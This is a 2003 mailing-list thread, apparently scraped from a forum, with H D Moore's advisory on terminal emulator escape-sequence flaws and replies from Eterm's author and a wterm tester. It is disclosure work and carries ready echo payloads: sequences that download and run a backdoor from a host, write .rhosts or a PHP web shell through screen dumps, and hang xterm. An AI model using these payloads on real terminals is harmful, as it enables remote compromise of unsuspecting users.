Likes Likes:  0
Resultaten 1 tot 8 van de 8
Geen
  1. #1
    H D Moore
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Terminal Emulator Security Issues

    --Boundary-00=_8hoW+tAPp3rhQmo
    Content-Type: text/plain;
    charset="iso-8859-1"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: inline

    Please see the attached document, also available at the following URL:

    http://www.digitaldefense.net/labs/

    =2D--------------------------------------------------------
    TERMINAL EMULATOR SECURITY ISSUES
    Copyright =A9 2003 Digital Defense Incorporated
    All Rights Reserved

    [ Table of Contents ]

    =2D- Summary=20
    =2D- Disclaimer=20
    =2D- Escape Sequences=20
    =2D- Remote Exploitation=20
    =2D- Screen Dumping=20
    =2D- Window Title Reporting
    =2D- Miscellaneous Issues=20
    =2D- Terminal Defense
    =2D- Tested Emulator Versions
    =2D- Vulnerability Index
    =2D- A Fictitious Case Study
    =2D- References
    =2D- Credits
    --Boundary-00=_8hoW+tAPp3rhQmo
    Content-Type: text/plain;
    charset="us-ascii";
    name="Termulation.txt"
    Content-Transfer-Encoding: quoted-printable
    Content-Disposition: attachment; filename="Termulation.txt"

    TERMINAL EMULATOR SECURITY ISSUES
    Copyright =A9 2003 Digital Defense Incorporated
    All Rights Reserved



    [ Table of Contents ]

    =2D- Summary=20
    =2D- Disclaimer=20
    =2D- Escape Sequences=20
    =2D- Remote Exploitation=20
    =2D- Screen Dumping=20
    =2D- Window Title Reporting
    =2D- Miscellaneous Issues=20
    =2D- Terminal Defense
    =2D- Tested Emulator Versions
    =2D- Vulnerability Index
    =2D- A Fictitious Case Study
    =2D- References
    =2D- Credits


    [ Summary ]

    Many of the features supported by popular terminal emulator software can be=
    abused=20
    when un-trusted data is displayed on the screen. The impact of this abuse c=
    an range from=20
    annoying screen garbage to a complete system compromise. All of the issues =
    below are=20
    actually documented features, anyone who takes the time to read over the ma=
    n pages or=20
    source code could use them to carry out an attack.=20



    [ Disclaimer ]

    There is nothing new in this paper. The entire concept of exploiting a term=
    inal by=20
    supplying hostile input has been around for over 10 years now. Unix veteran=
    s and BBS=20
    users have been exposed to this type of problem since the very beginning, a=
    newsgroup=20
    search can turn up all sorts of exploits, from the ever-popular "flash" pro=
    gram to the=20
    abuse of logging features in xterm which were disabled in R5. Therefore the=
    purpose of=20
    this paper is to identify weaknesses in the current suite of popular termin=
    al emulation=20
    software, not to rehash an ancient problem.



    [ Escape Sequences ]

    Typically, an escape sequence is a series of characters starting with the A=
    SCII escape=20
    character (0x1B) and followed by a specific set of arguments. Escape sequen=
    ces were=20
    originally used to control display devices such as dumb terminals and have =
    been extended
    to allow various forms of interaction with modern operating systems. An esc=
    ape sequence=20
    might be used to change text attributes (color, weight), move the cursor po=
    sition,=20
    reconfigure the keyboard, update the window title, or manipulate the printe=
    r. Over the=20
    years, many new features have been added that required enhancements to the =
    terminal=20
    emulator applications to support them.=20



    [ Remote Exploitation ]

    To exploit an escape sequence feature, an attacker must be able to display =
    arbitrary data=20
    to the victim's terminal emulator. While at first glance that may seem rath=
    er unlikely, the=20
    attacker can take advantage of a number of small bugs in other applications=
    to increase=20
    their chance of success.

    Just about every network service that uses syslog will pass remote data dir=
    ectly to the=20
    daemon without filtering the escape character. The responsibility then lays=
    on the syslog=20
    daemon to strip the escape code before writing the log entry to the disk or=
    terminal. =20
    Although both the stock *BSD syslog daemons as well the sysklogd package fi=
    lter escape=20
    sequences, msyslog, syslog-ng, and the logging daemons supplied with many c=
    ommercial=20
    UNIX-based operating systems do not.

    While sending data directly to a vulnerable syslogd or rwalld service is th=
    e most direct=20
    form of attack, there are literally dozens of other ways to place hostile b=
    inary data onto
    the terminal of a remote user. The Apache web server makes an effort to cle=
    an garbage =20
    from its access logs, but it still allows escape characters to be injected =
    into the error logs.
    Many command-line network tools can be exploited by a hostile service respo=
    nse, some=20
    examples of this is include wget, curl, ftp, and telnet.=20

    Multi-user systems are especially vulnerable, as any user can send a system=
    =2Dwide=20
    message under the default configuration of most operating systems. Placing =
    the attack=20
    data into the banner of a popular FTP server, telnet service, or message of=
    the day file=20
    will increase the chance of finding a valid target. Certain console email c=
    lients refuse to=20
    display files when the content-type of an attachment is set to a unrecogniz=
    ed value, so the=20
    user must save the file and then read it on the command line, often just us=
    ing the standard=20
    "cat" utility.=20



    [ Screen Dumping ]
    =20
    Eterm and rxvt both implement what they call the "screen dump" feature. Thi=
    s escape =20
    sequence will cause an arbitrary file to be opened and filled with the curr=
    ent contents of=20
    the terminal window. These are the only two tested emulators[1] that still =
    had the ability=20
    to write to files enabled by default. Although rxvt will ignore dump reques=
    ts for existing=20
    files, Eterm[2] will happily delete the file and then create it again. Alth=
    ough it is=20
    technically the same feature, the OSC code used to trigger it is different =
    between the two=20
    emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It i=
    s possible to=20
    control the entire contents of the file by specifying the reset sequence, t=
    hen the required=20
    data, followed by the screen dump command.=20

    $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"

    The same approach can be used to create an authorized_keys file for SSH, a =
    replacement=20
    passwd file, or even a hostile PHP script written to the user's web directo=
    ry. This attack=20
    requires no interaction on the part of the user and would be very difficult=
    to detect if done=20
    correctly. The primary difference between this issue and some of the others=
    mentioned in=20
    this paper is that the actual "exploitation" happens on the system running =
    the emulator=20
    software, not the current system that the terminal is accessing. The code t=
    hat is =20
    responsible for opening the dump file is shown below.=20

    /* rxvt */=20
    if ((fd =3D open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >=3D 0)=20

    /* Eterm */=20
    unlink(fname);
    outfd =3D open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_I=
    WUSR);

    [1] XFree86's xterm disabled an equivalent feature in X11R5 due to security=
    concerns. It=20
    can still be enabled with a compile-time option.

    [2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many =
    recent Linux=20
    distributions still shipped with 0.9.1.



    [ Window Title Reporting ]

    One of the features which most terminal emulators support is the ability fo=
    r the shell to=20
    set the title of the window using an escape sequence. This feature was orig=
    inally=20
    implemented by DEC for DECterm and has since been added to most emulators i=
    n use=20
    today. The easy way to set the window title of a terminal is using the echo=
    command:

    $ echo -e "\e]2;This is the new window title\a"

    When the output of the above command is displayed on the terminal, it will =
    set the=20
    window title to that string. Setting the window title by itself is not much=
    of a security=20
    issue, however certain xterm variants (and dtterm) also provide an escape s=
    equence for=20
    reporting the current window title. This essentially takes the current titl=
    e and places it=20
    directly on the command line. Due to the way that most emulators processes =
    the escape=20
    sequence, it is not possible to embed a carriage return into the window tit=
    le itself, so the=20
    user would need to hit enter for it to process the title as a command. The =
    escape sequence=20
    for reporting the window title is:

    $ echo -e "\e[21t"

    At this point, the attacker needs to convince the user to hit enter for the=
    "exploit" to=20
    succeed. There are a number of techniques available to both hide the comman=
    d and=20
    encourage the user to "press enter to continue". The simplest is to just in=
    sert a prompt=20
    followed by the "invisible" character attribute right before reporting the =
    title. Another=20
    method is to set the foreground and background colors to be the same (all b=
    lack or white)=20
    and hope the user hits the enter key when trying to determine what happened=
    =2E The=20
    following example for xterm demonstrates a sequence that downloads and exec=
    utes a=20
    backdoor while hiding the command line. The "Press Enter >" string should b=
    e changed=20
    to something appropriate for the attack vector. Some likely candidates incl=
    ude "wget=20
    internal error: press enter to continue" or "Error: unknown TERM, hit enter=
    to continue".

    $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress E=
    nter>\e[8m;"

    Any terminal emulator that allows the window title to be placed on the comm=
    and-line is=20
    vulnerable to this attack. The applications which were confirmed vulnerable=
    include=20
    xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The teste=
    d applications=20
    that did not allow the title to be written include gnome-terminal 2.0, kons=
    ole, SecureCRT,
    and aterm.

    [1] Although putty would place the title onto the command-line, we were not=
    able to find=20
    a method of hiding the command, since neither the "invisible" character att=
    ribute nor the=20
    foreground color could be set. Putty has a relatively low limit to the numb=
    er of characters=20
    that can be placed into the window title, so it is not possible to simply f=
    lood the screen=20
    with garbage and hope the command rolls past the current view.



    [ Miscellaneous Issues ]

    Eterm should be given an award for the "Easiest to Compromise" terminal emu=
    lator. The=20
    developers based much of their code off of the rxvt and xterm source, so Et=
    erm tends to=20
    share the same problems as those two emulators as well. If you happen to be=
    running a =20
    CVS version of Eterm from between February 10th and May 8th of 2001, it was=
    possible=20
    to execute an arbitrary command just by displaying the following escape seq=
    uence:=20

    $ echo -e "\e]6;73;command\a"
    =20
    =46ortunately, this feature never made it into an official release, the "fo=
    rk-and-exec" ability=20
    was replaced by the script action spawn() instead.=20

    During the research process, a number of small bugs were found that would e=
    ither lock=20
    up the emulator completely or crash it. Although they can be disregarded as=
    simple denial=20
    of service attacks, they could be abused to prevent an administrator from s=
    eeing =20
    subsequent logs during a compromise. In general, the code which processed a=
    pplication-
    side input seemed to place little emphasis on sanitizing the data before pa=
    ssing it directly=20
    to system-level functions. While there was some effort made to avoid standa=
    rd buffer =20
    overflows, much of the loop-based character processing appeared ripe for a =
    denial of=20
    service attack. An example of this is a bug in the DEC UDK processing of XF=
    ree86's=20
    xterm application, the following command will place the process into a tigh=
    t resource-
    eating loop:

    $ echo -e "\eP0;0|0A/17\x9c"

    This bug was reported to xfree86@xfree86.org on December 17th, 2002 and no =
    response=20
    was received as of the publication of this writing. The hanterm application=
    is also=20
    vulnerable to this issue, as the code base started off as a direct copy of =
    xterm.

    Both rxvt and aterm support a feature known as the menuBar. This feature al=
    lows the user=20
    to create drop-down menus at the top of the terminal screen using both menu=
    =20
    configuration files and escape sequences. Anyone able to display data on th=
    e terminal =20
    could modify the menu entries in a way that would compromise the system whe=
    n=20
    accessed. This type of attack relies more on social engineering, but still =
    provides a=20
    potential entry point when nothing else is available. The example below wil=
    l create a new=20
    top-level menu item called "Special" with a single item labeled "Access", w=
    hen clicked it=20
    will download and execute a backdoor from http://127.0.0.1/.bd and exit the=
    shell.

    $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a=
    \e]10;[show]\a"



    [ Terminal Defense ]

    The ideal solution is to sanitize all data before displaying it on your ter=
    minal, however=20
    without a custom terminal application or data filter, you can't guarantee t=
    hat every tool=20
    you use on the command-line is going to strip escape sequences. The respons=
    ibility=20
    should rest on the actual terminal emulator; any features that allow file o=
    r command-line=20
    access should be disabled by default and more attention should be paid to n=
    ew features=20
    that implement any use of escape sequences.

    The tested terminal emulators that were not susceptible to the screen dump =
    or window=20
    title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's Secu=
    reCRT,=20
    and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own inde=
    pendent=20
    code-base and didn't try to support the same massive feature set as the oth=
    ers. =20
    SecureCRT took a similar approach, emulating just the minimum needed to be =
    usable.=20
    With aterm, the code was originally based on rxvt, however many of the dang=
    erous=20
    features were removed as the project progressed.



    [ Test Emulator Versions ]

    xterm: xf86 4.2.0 (patch 165)
    aterm: 0.42
    rxvt: 2.7.8
    Eterm: 0.9.1
    konsole: 3.1.0 rc5
    putty: 0.53
    SecureCRT: 3.4.6
    gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
    hanterm-xf: 2.0



    [ Vulnerability Index ]

    The Common Vulnerabilities and Exposures project (cve.mitre.org) has assign=
    ed CVE=20
    candidate namess for all issues described in this paper.=20

    CAN-2003-0020 Apache Error Log Escape Sequence Injection

    CAN-2003-0021 Screen Dump: Eterm=20
    CAN-2003-0022 Screen Dump: rxvt

    CAN-2003-0063 Window Title Reporting: xterm=20
    CAN-2003-0064 Window Title Reporting: dtterm
    CAN-2003-0065 Window Title Reporting: uxterm
    CAN-2003-0066 Window Title Reporting: rxvt
    CAN-2003-0067 Window Title Reporting: aterm
    CAN-2003-0068 Window Title Reporting: eterm
    CAN-2003-0069 Window Title Reporting: putty
    CAN-2003-0070 Window Title Reporting: gnome-terminal
    CAN-2003-0078 Window Title Reporting: hanterm-xf

    CAN-2003-0071 DEC UDK Processing DoS: xterm
    CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf

    CAN-2003-0023 Menubar Manipulation: rxvt
    CAN-2003-0024 Menubar Manipulation: aterm



    [ A Fictitious Case Study ]

    Jim is the sole administrator for the web server farm at a moderately sized=
    ISP. Most of=20
    his company's clients maintain their own sites and Jim's primary responsibi=
    lity is to keep=20
    the web servers online and secured. Jim spends some of his spare time dabb=
    ling with =20
    PHP and uses his workstation as his development system. The workstation is =
    on the same=20
    network segment as the rest of the servers and the firewall only allows TCP=
    port 80 and=20
    443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing powe=
    r to run=20
    the Enlightenment window manager with all the tweaks. His favorite part abo=
    ut=20
    Enlightenment is the terminal emulator, Eterm, which lets him make the back=
    ground=20
    transparent and do all sorts of imaging tricks. Jim keeps a tail process ru=
    nning for the=20
    error_log files on each server he manages, allowing him to easily spot scri=
    pt bugs and=20
    misconfigurations before the customer calls him to fix it.=20

    Andre is pissed. Some "friends" from his old hacking group have posted some=
    =20
    embarrassing photos of him on the group's home page. The page is hosted in =
    the ~user=20
    directory on a web server at some dinky ISP his old friend uses. He starts =
    poking at the=20
    web server only to give up about 30 minutes later after failing to find a s=
    ingle vulnerable=20
    CGI or outdated service. He starts up Nmap again, this time on the whole c=
    lass C that the=20
    web server resides in, determined to take down the entire subnet if he has =
    to. He finds=20
    another web server, this one is running a traceroute gateway that is vulner=
    able to meta-
    character injection. Andre manages to get an outbound shell back to a bounc=
    e system and=20
    proceeds to poke around. He finds what appears to be an OpenSSH public key =
    in the /tmp=20
    directory, named JimH.pub. Looking at the key file, he sees that the userid=
    stored in it is=20
    for jim@jimsbox.weeisp.com. A quick check shows that jimsbox.weeisp.com not=
    only=20
    resolves to an external address, but is also running a web server.=20

    The index page of Jim's web server consists of a couple pictures of him, so=
    me links to his=20
    favorite news sites, some screenshots of his new super-leet desktop, and so=
    me of his=20
    latest PHP projects. The first PHP project link Andre clicks on immediately=
    starts=20
    spewing errors, complaining about not being able to connect to the database=
    =2E The error=20
    message itself is interesting though, since it contains the full path to th=
    e script that=20
    triggered the error. Andre makes a quick note of this and keeps digging aro=
    und, hoping=20
    for an easy entry point. As soon as he pulls up the desktop screen shots, h=
    e knows he=20
    struck gold. The screen shot not only shows a scantily clad Italian model i=
    n the=20
    background, but an Eterm open tailing the logs of the same server his pictu=
    res are being=20
    served from. He gets to work, hitting the workstation with every tool he ca=
    n find, but an=20
    hour later he still hasn't busted a shell. While looking through the screen=
    shots again,=20
    Andre gets the idea to look at the Eterm documentation and see what other f=
    eatures it=20
    supports. Not only is the documentation easy to read with plenty of example=
    s, but it=20
    mentions an interesting feature described as a "screen dump".

    About two hours later, Andre finally manages to get Eterm and its 60 megaby=
    tes of =20
    support libraries compiled. He discovers that to force Eterm to write out a=
    file, all he has=20
    to do is display a certain sequence of characters to the screen. The questi=
    on now is how to=20
    get those characters onto that Eterm at 4:30 in the morning. After a quick =
    review of the=20
    Apache source code, he finally finds a spot in the error handling code wher=
    e he can inject=20
    arbitrary data into the log files. All he has to do is send a request for a=
    file with the escape
    sequence he wants to use and Apache will write the unfiltered data directly=
    to the log file.=20

    Now that he can write arbitrary files to the workstation, he has to find a =
    method of using=20
    it to gain access. Andre is pretty sure that the workstation is running SSH=
    , but the only=20
    ports available are 80 and 443. He remembers that the PHP errors he saw ear=
    lier provided=20
    the full path to the web root, if he can write files there, then he run com=
    mands through the=20
    web server. Five minutes later, Andre is connecting to the target web serve=
    r and sending=20
    a GET request for a string generated with the following command:

    $ echo -e "\ec<?passthru($c);?>\e]30;/home/www/htdocs/owned.php\a"

    This command clears the current screen buffer, displays his hostile PHP cod=
    e to the=20
    screen, and then uses the screen dump command to write it into the web root=
    =2E He points=20
    his browser to http://jimsbox.weeisp.com/owned.php?c=3Did and starts the pr=
    ocess of =20
    rooting Jim's workstation, stealing his SSH keys, and taking those horrid p=
    ictures (as well=20
    as the rest of the group's files) off of that web server.



    [ References ]

    This Paper and Associated Tools
    =2D-- http://www.digitaldefense.net/labs/whitepapers.html
    =2D-- http://www.digitaldefense.net/labs/securitytools.html

    Recognized Escape Sequences
    =2D-- Eterm: http://www.eterm.org/docs/view.php?doc=3Dref
    =2D-- xterm: http://rtfm.etla.org/xterm/ctlseq.html
    =2D-- dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?s...&topic=3Ddtte=
    rm
    =2D-- rxvt: http://www.rxvt.org/refer/rxvtRef.html

    Solar Designer's Post on Syslog Filtering
    =2D-- http://marc.theaimsgroup.com/?l=3Dbu...96938656931350

    ADM's "The Evil Escape Sequences"
    =2D-- http://www.attrition.org/security/ad...l.esc.advisory

    AmigaOS Escape Sequence Exploits
    =2D-- http://www.abraxis.co.uk/SA-2001-11-08.html

    MS-DOS/Windows Key Redefinition
    =2D-- http://lists.insecure.org/lists/bugt.../Jul/0029.html

    Multiple Emulator Window Resize DoS
    =2D-- http://archives.neohapsis.com/archiv...0-05/0409.html
    =2D-- http://groups.google.com/groups?selm...75I-00%40ixion

    The Original "Flash"
    =2D-- http://www.parallaxresearch.com/file...ploits/flash.c
    =2D-- http://groups.google.com/groups?selm...40news.ysu.edu
    =2D-- http://www.phrack-dont-give-a-shit-a....php?p=3D47&a=
    =3D4



    [ Credits ]

    This paper was written by H D Moore, with much help from the rest of the Di=
    gital=20
    Defense Operations Team. I would like to thank Solar Designer for providing=
    some great=20
    feedback on the original draft and Mark Cox for handling the CVE candidate =
    generation=20
    and vendor coordination.

    --Boundary-00=_8hoW+tAPp3rhQmo--


  2. #2
    Michael Jennings
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    On Monday, 24 February 2003, at 15:02:52 (-0600),
    H D Moore wrote:

    > Eterm and rxvt both implement what they call the "screen dump"
    > feature. This escape sequence will cause an arbitrary file to be
    > opened and filled with the current contents of the terminal
    > window. These are the only two tested emulators[1] that still had
    > the ability to write to files enabled by default. Although rxvt will
    > ignore dump requests for existing files, Eterm[2] will happily
    > delete the file and then create it again. Although it is technically
    > the same feature, the OSC code used to trigger it is different
    > between the two emulators. For rxvt, the screen dump code is 55, for
    > Eterm, it is 30. It is possible to control the entire contents of
    > the file by specifying the reset sequence, then the required data,
    > followed by the screen dump command.
    >
    > $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"


    As you noted, this is no longer possible with the current release of
    Eterm, which has been out for some time now. I didn't think it was
    exploitable until, through a discussion related to this Debian bug:

    http://bugs.debian.org/cgi-bin/bugre...74&archive=yes

    I realized the combination of events noted here. Which is exactly why
    it didn't make it into 0.9.2, and why I have been telling anyone who
    would listen that 0.9.2 was the only version anyone should be running.

    > When the output of the above command is displayed on the terminal,
    > it will set the window title to that string. Setting the window
    > title by itself is not much of a security issue, however certain
    > xterm variants (and dtterm) also provide an escape sequence for
    > reporting the current window title. This essentially takes the
    > current title and places it directly on the command line. Due to the
    > way that most emulators processes the escape sequence, it is not
    > possible to embed a carriage return into the window title itself, so
    > the user would need to hit enter for it to process the title as a
    > command. The escape sequence for reporting the window title is:
    >
    > $ echo -e "\e[21t"
    >
    > At this point, the attacker needs to convince the user to hit enter
    > for the "exploit" to succeed. There are a number of techniques
    > available to both hide the command and encourage the user to "press
    > enter to continue". The simplest is to just insert a prompt followed
    > by the "invisible" character attribute right before reporting the
    > title. Another method is to set the foreground and background colors
    > to be the same (all black or white) and hope the user hits the enter
    > key when trying to determine what happened. The following example
    > for xterm demonstrates a sequence that downloads and executes a
    > backdoor while hiding the command line. The "Press Enter >" string
    > should be changed to something appropriate for the attack
    > vector. Some likely candidates include "wget internal error: press
    > enter to continue" or "Error: unknown TERM, hit enter to continue".
    >
    > $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"
    >
    > Any terminal emulator that allows the window title to be placed on
    > the command-line is vulnerable to this attack. The applications
    > which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt,
    > aterm, Eterm, hanterm, and putty[1]. The tested applications that
    > did not allow the title to be written include gnome-terminal 2.0,
    > konsole, SecureCRT, and aterm.


    Just for clarification, you might want to specify whether or not aterm
    was vulnerable since you listed it twice. (I'm guessing it wasn't.)

    Other than disabling the reporting of the title altogether, I see no
    way of "sanitizing" this, as you put it, without blocking potentially
    legitimate uses. So for now I've disabled the sequence you've noted,
    along with the other one you didn't mention, until such time as
    someone points out what I'm missing.

    > Eterm should be given an award for the "Easiest to Compromise"
    > terminal emulator.


    Ouch...

    Based on 0.9.1, I can see where you'd make that statement. I don't
    believe that statement is true, however, with respect to 0.9.2. I
    made a number of mistakes in previous versions trying to enhance
    functionality, obviously without giving enough thought to how they
    could be misused. 0.9.2 corrects the vast majority, I believe, of
    those errors by creating functionality which is accessible only by
    user-configured objects and not by escape codes and such.

    > The developers based much of their code off of the rxvt and xterm
    > source, so Eterm tends to share the same problems as those two
    > emulators as well.


    Hopefully, that won't be true for much longer.

    > If you happen to be running a CVS version of Eterm from between
    > February 10th and May 8th of 2001, it was possible to execute an
    > arbitrary command just by displaying the following escape sequence:
    >
    > $ echo -e "\e]6;73;command\a"


    Or, change the 73 to a 70. Closes the window. Sigh.

    > Fortunately, this feature never made it into an official release,
    > the "fork-and-exec" ability was replaced by the script action
    > spawn() instead.


    Which, I'd like to point out for the sake of completeness, can only be
    activated by an event binding (key press, menu item, etc.), not by any
    escape sequence.

    > Both rxvt and aterm support a feature known as the menuBar. This
    > feature allows the user to create drop-down menus at the top of the
    > terminal screen using both menu configuration files and escape
    > sequences. Anyone able to display data on the terminal could modify
    > the menu entries in a way that would compromise the system when
    > accessed. This type of attack relies more on social engineering, but
    > still provides a potential entry point when nothing else is
    > available. The example below will create a new top-level menu item
    > called "Special" with a single item labeled "Access", when clicked
    > it will download and execute a backdoor from http://127.0.0.1/.bd
    > and exit the shell.
    >
    > $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"


    I believe some distributions are still shipping with Eterm 0.8.x.
    Versions prior to 0.9 could be vulnerable to this problem as well.

    > While looking through the screen shots again, Andre gets the idea to
    > look at the Eterm documentation and see what other features it
    > supports. Not only is the documentation easy to read with plenty of
    > examples,


    Well, at least *somebody* appreciates the time I spend on
    documentation, even if it does get me into trouble. *wry grin*

    > About two hours later, Andre finally manages to get Eterm and its 60
    > megabytes of support libraries compiled.


    Cute. :-)

    > This paper was written by H D Moore, with much help from the rest of
    > the Digital Defense Operations Team. I would like to thank Solar
    > Designer for providing some great feedback on the original draft and
    > Mark Cox for handling the CVE candidate generation and vendor
    > coordination.


    I'm not sure what "vendor coordination" was done, but I know I was
    never contacted. Just FYI.

    For the record, I remain committed to continuing to develop and
    innovate, focusing on flexibility and power over minimalism. Although
    this report doesn't make it look that way (doh), I do try very hard to
    write code with security in mind. I'm no expert, certainly not
    compared to many of the people on this list, and I do miss things.
    But I find the alternative approach of lacking functionality for fear
    of screwing something up to be a cop-out.

    I accept that I will make mistakes, even though I always strive to
    make none. So I do my best to respond quickly to issues that do
    arise. I have been a member of BUGTRAQ for a number of years now, and
    I respect and believe 100% in the principles and practice of full
    disclosure. However, please also feel free to contact me personally
    at mej@eterm.org if you have any questions or concerns, now or in the
    future.

    Regards,
    Michael

    --
    Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <mej@kainx.org>
    n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
    -----------------------------------------------------------------------
    "A woman broke up with me and sent me pictures of her and her new
    boyfriend in bed together. Solution? I sent them to her dad."
    -- Christopher Case

  3. #3
    H D Moore
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    On Monday 24 February 2003 08:09 pm, Michael Jennings wrote:
    > > which were confirmed vulnerable include xterm, dtterm, uxterm, rxvt,
    > > aterm, Eterm, hanterm, and putty[1]. The tested applications that
    > > did not allow the title to be written include gnome-terminal 2.0,
    > > konsole, SecureCRT, and aterm.

    >
    > Just for clarification, you might want to specify whether or not aterm
    > was vulnerable since you listed it twice. (I'm guessing it wasn't.)


    Just when you think you've got all the typos ironed out... Yeah, aterm
    does not support the window title reporting feature.

    > Other than disabling the reporting of the title altogether, I see no
    > way of "sanitizing" this, as you put it, without blocking potentially
    > legitimate uses. So for now I've disabled the sequence you've noted,
    > along with the other one you didn't mention, until such time as
    > someone points out what I'm missing.


    Would stripping escape sequences from the window title work? Do you know
    of any applications that actually use this feature?

    > > Eterm should be given an award for the "Easiest to Compromise"
    > > terminal emulator.

    >
    > Ouch...
    >
    > Based on 0.9.1, I can see where you'd make that statement. I don't
    > believe that statement is true, however, with respect to 0.9.2.


    Absolutely correct, this paper was written over a period of months, the
    0.9.1 release was the latest version available with most distributions
    when I made that claim. The reasons for picking on Eterm:

    * arbitrary command execution at one point in its lifetime
    * arbitrary file creation with user-defined content (via clear screen)
    * shared feature-sets with xterm, rxvt, etc
    * great documentation for all of these features

    > I'm not sure what "vendor coordination" was done, but I know I was
    > never contacted. Just FYI.


    The vendor coordination was done through the vendor-sec mailing list with
    about a three-week head start prior to disclosure. There really weren't
    many true "bugs" found, just about everything covered was implemented
    deliberately and could be found in the documentation of the app. There
    had already been a number of debates on the exploitability of these
    features, so this paper was more of a FAQ than any sort of advisory. It
    wasn't my intention to catch anyone off-guard on this, just to bring
    these issues back into the limelight for a while and see if other people
    had a similar take on them.

    > But I find the alternative approach of lacking functionality for fear
    > of screwing something up to be a cop-out.




    -HD


  4. #4
    Juraj Ziegler
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    --gBBFr7Ir9EOA20Yy
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: inline
    Content-Transfer-Encoding: quoted-printable

    Wterm was not mentioned throughout the article, so I decided to test it
    quickly.

    On Mon, Feb 24, 2003 at 03:02:52PM -0600, H D Moore wrote
    > $ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"


    Does not work. Code 33 is not implemented, according to the
    documentation, code 50 is used to change font [specifying movement in
    the terminal's font list].

    > $ echo -e "\e]2;This is the new window title\a"


    Works.

    > $ echo -e "\e[21t"


    echo -e "\e]2;whoo\a"
    echo -e "\e[21t"

    Changes window title to 'whoo', but nothing is pasted -> does not work.

    > $ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress=

    Enter>\e[8m;"

    It can be deduced that this does not work either, and a quick test
    proved it.

    > $ echo -e "\eP0;0|0A/17\x9c"


    Safe from this harm, over here.

    > $ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]=

    \a\e]10;[show]\a"

    Besides of a weird output from echo itself [as no all characters where
    handled by the terminal], nothing.

    The output is: :]itd

    As to wterm's origin, it seems to be based on rxvt
    <quote site=3D"http://largo.windowmaker.org/files.php#wterm">
    wterm started as a beta test of some additions Alfredo hoped to get
    contributed to the official rxvt source tree.
    </quote>

    Version tested: 6.2.9 - latest (even though released in 8/2001)

    [e]

    --=20
    __________________________________________________ _________________________=
    ____
    >e@hq.sk< /(bb|[^b]{2})/ >http://hq.sk/~e=

    uro<
    "always know what you say, but do not always say what you know"

    --gBBFr7Ir9EOA20Yy
    Content-Type: application/pgp-signature
    Content-Disposition: inline

    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (GNU/Linux)

    iD8DBQE+WrdtWGpO+XKsHY8RAvyxAKDR76QsE1+3ze8hZ+M/qmZrL+Oe9ACgkUrM
    AFqo8DOtN05yHtapBR3i1bY=
    =KI7N
    -----END PGP SIGNATURE-----

    --gBBFr7Ir9EOA20Yy--

  5. #5
    Michael Jennings
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    (vulnwatch -> vulndiscuss at the request of the moderator)

    On Tuesday, 25 February 2003, at 08:07:08 (-0600),
    H D Moore wrote:

    > Would stripping escape sequences from the window title work? Do you
    > know of any applications that actually use this feature?


    Well, my gut reaction was a patch which removed all characters less
    than 32 from the title and icon name when setting them, and when
    fetching them for display changed all such characters to blanks. That
    would effectively disable any carriage returns/linefeeds, escape
    codes, shift-in/shift-out, etc. (Incidentally, I was unable to embed
    any such sequences in the title/icon name in 0.9.2 anyway...but I
    didn't try for very long, so I may have missed something.)

    While that would certainly disable the ability for the commands to be
    hidden from the user the way you mentioned (which actually tends to be
    ineffective on Eterm anyway, since most people don't use solid colored
    backgrounds...but I digress ), as your sample showed, it is still
    possible to throw a sequence of commands up onto the terminal,
    requiring only the press of an Enter key on the part of the user.

    And as UNIX (esp. Linux) gains mainstream acceptance, more novices
    will be using it. Since the UNIX command line is indistinguishable
    from line noise by the typical novice, it's not a far leap to think
    that one of them might pay attention to the "Press Enter" part (likely
    the only part which would make sense to them), not realizing the
    affect the command might have. Especially if it didn't produce any
    output.

    So I guess it boils down to a question of, where does "social
    engineering" end and "user ignorance/stupidity" begin? I think some
    discussion on that topic would be beneficial, at least for developers
    like me who would always rather do a feature right than not do it at
    all.

    And no, I'm not aware of any application which uses that feature,
    but with the recent batch of "shell prompt theming" applications
    (bashish, and the like), I wouldn't be at all surprised if there was
    one.

    > Absolutely correct, this paper was written over a period of months,
    > the 0.9.1 release was the latest version available with most
    > distributions when I made that claim. The reasons for picking on
    > Eterm:
    >
    > * arbitrary command execution at one point in its lifetime


